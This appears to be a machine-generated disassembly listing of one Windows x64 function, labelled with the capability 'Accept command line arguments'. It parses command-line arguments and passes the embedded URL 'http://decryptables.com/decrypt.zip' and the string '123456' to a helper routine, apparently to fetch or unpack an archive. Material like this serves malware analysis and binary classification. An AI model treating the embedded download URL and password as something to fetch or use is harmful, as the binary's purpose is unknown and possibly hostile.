Function at 0x14000ecd0
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push rsi
push r12
push r15
lea rbp, [rsp - 0x3f]
sub rsp, 0xe8
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.http:__decryptables.com_decrypt.zip
call fcn.140009370
mov rcx, rax
lea rdx, [0x140013970]
call fcn.140009370
mov rcx, rax
lea rdx, str.123456
call fcn.140009370
lea rdx, [0x14000a0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x21], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp - 0x11], xmm1
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14000ed50
mov qword [rsp + 0x110], rbx
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x118], rdi
mov rdx, rax
mov qword [rsp + 0x120], r13
mov qword [rsp + 0xe0], r14
call fcn.14000e730
cmp qword [rbp - 9], 7
lea rcx, [rbp - 0x21]
lea rdx, [rbp - 0x65]
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
xorps xmm0, xmm0
mov qword [rbp - 0x49], rsi
mov r12, rax
mov r15d, esi
movdqu xmmword [rbp - 0x59], xmm0
test rax, rax
je 0x14000ef9c
mov r13d, esi
cmp dword [rbp - 0x65], esi
jle 0x14000ef9c
mov r14, qword [rbp - 0x51]
nop dword [rax]
mov r8, qword [r12]
mov r9d, 0xffffffff
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov ecx, 0xfde9
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xorps xmm0, xmm0
mov qword [rbp - 0x31], rsi
movsxd rdi, eax
mov dword [rbp - 0x61], eax
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x29], rsi
movups xmmword [rbp - 0x41], xmm0
cmp rdi, rax
ja 0x14000f19a
cmp rdi, 0xf
ja 0x14000ee4c
mov r8, rdi
mov qword [rbp - 0x31], rdi
xor edx, edx
mov qword [rbp - 0x29], 0xf
lea rcx, [rbp - 0x41]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + rdi - 0x41], 0
jmp 0x14000eedd
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14000ee6b
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000ee97
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
je 0x14000eebe
cmp rcx, 0x1000
jb 0x14000eeb6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f1a0
mov rcx, rax
call fcn.140010e68
test rax, rax
je 0x14000ef95
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000eebe
call fcn.140010e68
mov rsi, rax
mov r8, rdi
mov qword [rbp - 0x41], rsi
xor edx, edx
mov qword [rbp - 0x31], rdi
mov rcx, rsi
mov qword [rbp - 0x29], rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rsi + rdi], 0
xor esi, esi
mov ecx, dword [rbp - 0x61]
lea rax, [rbp - 0x41]
cmp qword [rbp - 0x29], 0xf
mov r9d, 0xffffffff
mov r8, qword [r12]
cmova rax, qword [rbp - 0x41]
xor edx, edx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], ecx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp r14, r15
je 0x14000ef33
lea rdx, [rbp - 0x41]
mov rcx, r14
call fcn.14000eb40
add r14, 0x20
mov qword [rbp - 0x51], r14
jmp 0x14000ef4b
lea r8, [rbp - 0x41]
mov rdx, r14
lea rcx, [rbp - 0x59]
call fcn.14000e8f0
mov r15, qword [rbp - 0x49]
mov r14, qword [rbp - 0x51]
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14000ef82
mov rcx, qword [rbp - 0x41]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef7d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ef95
call fcn.140010ea4
inc r13d
add r12, 8
cmp r13d, dword [rbp - 0x65]
jl 0x14000edd0
jmp 0x14000efa0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r14, qword [rbp - 0x51]
lea rcx, [rbp - 0x69]
call fcn.14000a470
mov eax, dword [str.123456]
xorps xmm0, xmm0
movdqa xmm1, xmmword [0x1400139b0]
mov ecx, 0x30
movups xmmword [rbp - 0x41], xmm0
mov dword [rbp - 0x41], eax
movzx eax, word [0x14001396c]
mov word [rbp - 0x3d], ax
movdqu xmmword [rbp - 0x31], xmm1
mov byte [rbp - 0x3b], 0
movups xmmword [rbp - 1], xmm0
call fcn.140010e68
movdqa xmm0, xmmword [0x1400139c0]
lea r8, [rbp - 0x41]
movdqu xmmword [rbp + 0xf], xmm0
mov qword [rbp - 1], rax
mov rdx, rax
movups xmm0, xmmword [str.http:__decryptables.com_decrypt.zip]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140013988]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x140013998]
mov word [rax + 0x20], cx
lea rcx, [rbp - 0x69]
movzx eax, byte [0x14001399a]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
lea rdx, [rbp - 1]
call fcn.14000fee0
mov rdx, qword [rbp + 0x17]
mov edi, eax
cmp rdx, 0xf
jbe 0x14000f073
mov rcx, qword [rbp - 1]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f06e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f152
call fcn.140010ea4
mov rdx, qword [rbp - 0x29]
movdqa xmm0, xmmword [0x140013950]
mov byte [rbp - 1], 0
movdqu xmmword [rbp + 0xf], xmm0
cmp rdx, 0xf
jbe 0x14000f0c7
mov rcx, qword [rbp - 0x41]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f152
call fcn.140010ea4
movdqa xmm0, xmmword [0x140013950]
mov rbx, qword [rbp - 0x59]
mov byte [rbp - 0x41], 0
movdqu xmmword [rbp - 0x31], xmm0
test rbx, rbx
je 0x14000f11b
lea r8, [rbp - 0x59]
mov rdx, r14
mov rcx, rbx
call fcn.14000e860
sub r15, rbx
mov rax, rbx
and r15, 0xffffffffffffffe0
cmp r15, 0x1000
jb 0x14000f110
mov rbx, qword [rbx - 8]
add r15, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f152
mov rdx, r15
mov rcx, rbx
call fcn.140010ea4
mov rdx, qword [rbp - 9]
cmp rdx, 7
jbe 0x14000f15e
mov rcx, qword [rbp - 0x21]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f159
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f159
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
mov r14, qword [rsp + 0xe0]
mov eax, edi
mov rdi, qword [rsp + 0x118]
mov r13, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x110]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140011200
add rsp, 0xe8
pop r15
pop r12
pop rsi
pop rbp
ret
call fcn.14000aba0
int3
call fcn.14000aad0
int3